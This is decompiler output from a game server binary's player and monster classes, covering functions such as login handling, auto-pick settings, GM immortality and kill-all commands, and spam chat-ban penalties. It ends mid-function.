ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; *(_DWORD *)&v1->gap0[8924] = &ShineObjectClass::ShineObject::so_MiscTableDef; } // 5C7E10: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (004FE600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; *(_DWORD *)&v1->gap0[7628] = v1; *(_DWORD *)&v1->gap0[8412] = &MobTacticElement::MobActionArgument::Actor::nobrain; } // 5C9570: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (004FE630) -------------------------------------------------------- #error "4FE630: undefined or illegal type '#440' (funcsize=986)" //----- (004FF3C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 char result; // al@1 v2 = this; (*(void (**)(void))(*(_DWORD *)this + 2528))(); result = (*((_BYTE *)v2 + 7416) ^ 32 * bValue) & 0x20 ^ *((_BYTE *)v2 + 7416); *((_BYTE *)v2 + 7416) = result; return result; } //----- (004FF3F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this) { return (*(_BYTE *)(this + 7416) >> 5) & 1; } //----- (004FF400) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 2792))((char *)this + 8832); } //----- (004FF410) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this) { int v1; // esi@1 char v2; // al@3 char result; // al@4 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineMobileObject::smo_IsActiveMode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S5_31 & 1) ) { _S5_31 |= 1u; cmc_77.cmc_AllowMode = 86; atexit(_E6_12); } v2 = ShineObjectClass::ShineMobileObject::smo_GetMode(v1); --funcallanalizer.fca_stackpoint; if ( (1 << v2) & cmc_77.cmc_AllowMode ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 1; } else { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 0; } return result; } //----- (004FF510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(void *this, int newloc) { int v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 int v5; // ST04_4@3 int v6; // eax@3 char *v7; // [sp-4h] [bp-20h]@2 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMobileObject::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2528))(v2); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 20))(v2); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 828))(v2, 2, 0, 3); v3 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v4 = *(_DWORD *)(newloc + 4); *(_DWORD *)v3 = *(_DWORD *)newloc; *(_DWORD *)(v3 + 4) = v4; if ( FieldMap::fm_Marking(*(#331 **)(v2 + 98), v2, 0, 0) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 996))(v2); v7 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } else { v5 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( (void *)v2, v6, v5, 0, 0, (int)ShineObjectClass::ShineObject::so_BroadcastBriefInfo, 0, 0, 0, 0, 65535); v7 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (004FF630) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMob::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(v2, newloc); MobRoamingPoint::mrp_Start((MobRoamingPoint *)v2 + 3726); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); } //----- (004FF6E0) -------------------------------------------------------- #error "4FF6E0: undefined or illegal type '#331' (funcsize=210)" //----- (004FF9C0) -------------------------------------------------------- void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5CA618: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (004FF9D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc) { void *v4; // esi@1 v4 = this; (*(void (**)(void))(*(_DWORD *)this + 1236))(); return (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4); } //----- (004FF9F0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin() { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::sp_NoAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); } //----- (004FFA30) -------------------------------------------------------- #error "4FFA30: undefined or illegal type '#331' (funcsize=74)" //----- (004FFB20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this) { void *v1; // esi@1 int v2; // ST08_4@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListDeathAura alda; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v7; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DeathAura"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DeathAura"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; v2 = *((_DWORD *)v1 + 1855); v3 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, v2, 0, (int)&alda, 0, 65535); LOBYTE(v7) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); } // 5CA618: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (004FFC10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Immortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v1 + 8024) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1); *((_DWORD *)v1 + 8025) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); } //----- (004FFCC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this) { void *v1; // esi@1 AxialListDeathAura alda; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v4; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alda, 0); LOBYTE(v4) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); } // 5CA618: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (004FFD90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid) { void *v2; // esi@1 char result; // al@2 int v4; // ebx@3 int v5; // edi@4 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1720))() ) { v4 = 0; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1720))(v2) + 12) <= 0 ) { LABEL_7: result = 0; } else { v5 = 0; while ( skillid != *(_WORD *)(*(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1720))(v2) + 8) + v5 + 4) ) { ++v4; v5 += 12; if ( v4 >= *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1720))(v2) + 12) ) goto LABEL_7; } result = 1; } } else { result = 0; } return result; } //----- (004FFE00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time) { ORField *v2; // esi@3 if ( Time ) { v2 = (ORField *)(this + 8908); TickTimer::Enable((TickTimer *)(this + 8908), 1); PacketContainer::pcb_SetSocketSession(v2, (ORColumnHeader *)(10 * Time)); } else { TickTimer::Enable((TickTimer *)(this + 8908), 0); } } //----- (004FFE40) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMob::sm_DamageSet(#440 *a1, char *arg0, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char *arg7, char *arg8, char *arg9) { char v11; // cl@1 double factor; // [sp+0h] [bp-8h]@1 v11 = *arg2; factor = 0.0; if ( v11 ) sscanf(arg2, "%lg"); } //----- (004FFE70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed) { *(_DWORD *)(this + 4084) = unSpeed; Parameter::Container::c_MakeTotal((Parameter::Container *)(this + 4008)); } //----- (004FFE90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this) { int result; // eax@1 int v2; // ebx@1 void *v3; // ecx@1 int v4; // esi@3 int v5; // eax@3 NPCManager::LinkInformTemplete Linkinfo; // [sp+4h] [bp-6Ch]@3 result = __security_cookie; v2 = this; v3 = *(void **)(this + 98); if ( v3 ) { result = FieldMap::fm_GetSaveLinktoData(v3); if ( result ) { v4 = FieldMap::fm_GetSaveLinktoData(*(void **)(v2 + 98)); v5 = *(_DWORD *)v2; memcpy(&Linkinfo, (const void *)v4, 0x64u); Linkinfo.Party = *(_BYTE *)(v4 + 100); result = (*(int (__thiscall **)(int, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v5 + 1472))( v2, &Linkinfo, 6, 9, 10); } } return result; } //----- (004FFEF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = *(_DWORD *)(this + 92568); if ( result ) { result = (***(int (__stdcall ****)(_DWORD))(result + 788))(result); *(_DWORD *)(*(_DWORD *)(v1 + 92568) + 788) = result; } return result; } //----- (004FFF20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this) { return *(_BYTE *)(this + 92277); } //----- (004FFF30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue) { char result; // al@1 result = bValue; *(_BYTE *)(this + 92277) = bValue; return result; } //----- (004FFF40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 92168); return v1 == 2 || v1 == 3; } //----- (004FFF60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 char *v5; // eax@4 int v6; // ST04_4@4 int v7; // eax@4 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@4 int v9; // [sp+1Ch] [bp-4h]@4 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 4285; *((_WORD *)v2 + 1) = 7680; v2[4] = bEnable; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SetAutoPick : Packet Too Long", 5); } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4286; *((_WORD *)v5 + 1) = *((_WORD *)v3 + 2); v5[4] = bEnable; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v6 = *(_DWORD *)((char *)v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v7, v6, 0, 0, (int)&alchat, 0, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00500050) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable) { char result; // al@1 result = bEnable; *(_BYTE *)(this + 23325) ^= (*(_BYTE *)(this + 23325) ^ 4 * bEnable) & 4; *(_BYTE *)(*(_DWORD *)(this + 32047) + 142) = bEnable; return result; } //----- (00500080) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this) { return (*(_BYTE *)(this + 23325) >> 2) & 1; } //----- (00500090) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this) { ItemInform_ActionItem *v1; // eax@1 unsigned __int16 v2; // ax@1 ItemInfo *v3; // eax@2 v1 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))(this + 32200))(this + 32200, 28); v2 = ItemInventoryCell::iic_ItemIdent(v1); return v2 != -1 && (v3 = ItemDataBox::operator__(&itemdatabox, v2)->data) != 0 && v3->AutoMon == 1; } //----- (005000D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 108) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7746); return 0; } if ( *(_BYTE *)(v2 + 109) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00500120) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 107) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7747); return 0; } if ( *(_BYTE *)(v2 + 109) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00500170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29937; *((_WORD *)v2 + 1) = nIndexID; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ : Packet Too Long", 4); } } //----- (005001D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this) { void *v1; // esi@1 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 4 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1140))(v1); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff(v1); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1136))(v1) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); } //----- (00500220) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this) { void *v1; // esi@1 char v2; // al@1 int v3; // edi@1 void *v4; // eax@1 char result; // al@2 int i; // eax@3 v1 = this; v2 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); v3 = (unsigned __int8)v2; v4 = malloc(4 * (unsigned __int8)v2); *((_DWORD *)v1 + 23166) = v4; if ( v4 ) { for ( i = 0; i < v3; ++i ) *(_DWORD *)(*((_DWORD *)v1 + 23166) + 4 * i) = 0; *((_DWORD *)v1 + 23167) = 0; *((_DWORD *)v1 + 23168) = 0; *((_DWORD *)v1 + 23169) = 0; *((_DWORD *)v1 + 23170) = 0; result = 1; } else { result = 0; } return result; } //----- (00500290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this) { unsigned int v1; // eax@1 char *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 unsigned int v5; // ecx@2 unsigned int v6; // edx@3 int v7; // eax@8 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 2120; v4 = *(_DWORD *)(this + 92672); if ( v4 <= v1 ) { v6 = 0; } else { v5 = v4 - v1; if ( v5 >= 0xA ) v6 = v5 / 0xA; else v6 = 1; } *(_DWORD *)(v2 + 2) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SpamSendBlockTimeToClient : Packet Too Long", 6); } } //----- (00500310) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime) { int result; // eax@1 result = tCurrentTime + 10 * NextTime; *(_DWORD *)(this + 92684) = result; return result; } //----- (00500330) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this) { int v1; // esi@1 signed int result; // eax@2 signed int v3; // ebp@3 int v4; // edi@3 int i; // esi@3 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+8h] [bp-28h]@1 ItemBoxIterEmpty itemitertmp; // [sp+14h] [bp-1Ch]@1 int v8; // [sp+2Ch] [bp-4h]@1 v1 = this; ItemBoxIterEmpty::ItemBoxIterEmpty(&itemitertmp, (ItemBag *)(this + 35568), (ChargedEffectContainer *)(this + 91688)); v8 = 0; InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( &itemiter, 9, &itemitertmp.baseclass_0, (InventoryLocking::InventoryCellLock *)(v1 + 57768)); LOBYTE(v8) = 1; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v3 = 1; v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1144))(v1); for ( i = 0; i < v4; ++i ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&itemiter) ) break; ++v3; } LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = v3; } else { LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = 0; } return result; } //----- (00500430) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val) { char result; // al@1 result = val; *(_BYTE *)(this + 92688) = val; return result; } //----- (00500440) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan) { int result; // eax@1 result = ChatBan; *(_DWORD *)(this + 92700) = ChatBan; return result; } //----- (00500450) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this) { return *(_DWORD *)(this + 92700) != 0; } //----- (00500460) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle) { return ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(this); } //----- (00500470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this) { char *v1; // ebx@1 unsigned int v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 int v6; // eax@8 int v7; // ecx@8 unsigned int v8; // edx@9 ZoneBaseSession *v9; // eax@17 v1 = gpp.pp_Buffer; v2 = clockwatch.cw_CurrTick; v3 = this; *(_WORD *)gpp.pp_Buffer = 16418; *(_DWORD *)(v1 + 2) = (*(int (**)(void))(*(_DWORD *)this + 836))(); v4 = *((_DWORD *)v3 + 23168); if ( v4 <= v2 ) { v5 = 0; } else { if ( v4 - v2 >= 0xA ) v5 = (v4 - v2) / 0xA; else v5 = 1; } *(_DWORD *)(v1 + 6) = v5; if ( v5 ) { *(_DWORD *)(v1 + 10) = (*((_DWORD *)v3 + 23169) - *((_DWORD *)v3 + 23168)) / 0xAu; *((_DWORD *)v3 + 23170) = 1; } else { v6 = time(0); v7 = *((_DWORD *)v3 + 23169); if ( v7 <= v2 ) v8 = 0; else v8 = v6 + (v7 - v2) / 0xA; *(_DWORD *)(v1 + 10) = v8; if ( v8 ) { *((_DWORD *)v3 + 23170) = 1; } else { if ( !*((_DWORD *)v3 + 23170) ) return; *((_DWORD *)v3 + 23170) = 0; } } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_SendSpamerDataToCharDB : Packet Too Long", 14); } } //----- (00500580) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime) { int v2; // esi@1 int v3; // edi@1 char v4; // bl@1 int v5; // ecx@11 int v6; // eax@11 signed int i; // eax@11 unsigned __int16 DelayTime; // [sp+10h] [bp-Ch]@3 unsigned __int16 BlockTime; // [sp+14h] [bp-8h]@9 char PenaltyLv; // [sp+18h] [bp-4h]@1 v2 = (int)this; v3 = 0; PenaltyLv = 1; v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); if ( *(_DWORD *)(v2 + 92676) <= CurrentTime || (PenaltyLv = 1, SpamerPenaltyData.spdb_SpamerPenaltyMaxNum <= 1u) ) { LABEL_9: if ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(&SpamerPenaltyData, PenaltyLv, &BlockTime) && SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v5 = CurrentTime + 10 * BlockTime; v6 = v5 + 10 * (v3 + DelayTime); *(_DWORD *)(v2 + 92672) = v5; *(_DWORD *)(v2 + 92676) = v6; for ( i = 0; i < (unsigned __int8)v4; ++i ) *(_DWORD *)(*(_DWORD *)(v2 + 92664) + 4 * i) = 0; ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v2); } } else { while ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v3 += DelayTime; if ( 10 * v3 >= (unsigned int)(*(_DWORD *)(v2 + 92676) - *(_DWORD *)(v2 + 92672)) ) { if ( (unsigned __int8)PenaltyLv < SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) ++PenaltyLv; goto LABEL_9; } ++PenaltyLv; if ( (unsigned __int8)PenaltyLv >= SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) goto LABEL_9; } } } //----- (005006B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this) { unsigned int v1; // ebx@1 char *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 unsigned int v6; // edx@7 int v7; // eax@8 int v8; // esi@8 ZoneBaseSession *v9; // eax@13 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 16417; *((_WORD *)v2 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v4 = *((_DWORD *)v3 + 23168); if ( v4 <= v1 ) { v5 = 0; } else { if ( v4 - v1 >= 0xA ) v5 = (v4 - v1) / 0xA; else v5 = 1; } *((_DWORD *)v2 + 2) = v5; if ( v5 ) { v6 = (*((_DWORD *)v3 + 23169) - *((_DWORD *)v3 + 23168)) / 0xAu; } else { v7 = time(0); v8 = *((_DWORD *)v3 + 23169); if ( v8 <= v1 ) v6 = 0; else v6 = v7 + (v8 - v1) / 0xA; } *((_DWORD *)v2 + 3) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SendSpamerToWM : Packet Too Long", 16); } } //----- (005007A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, 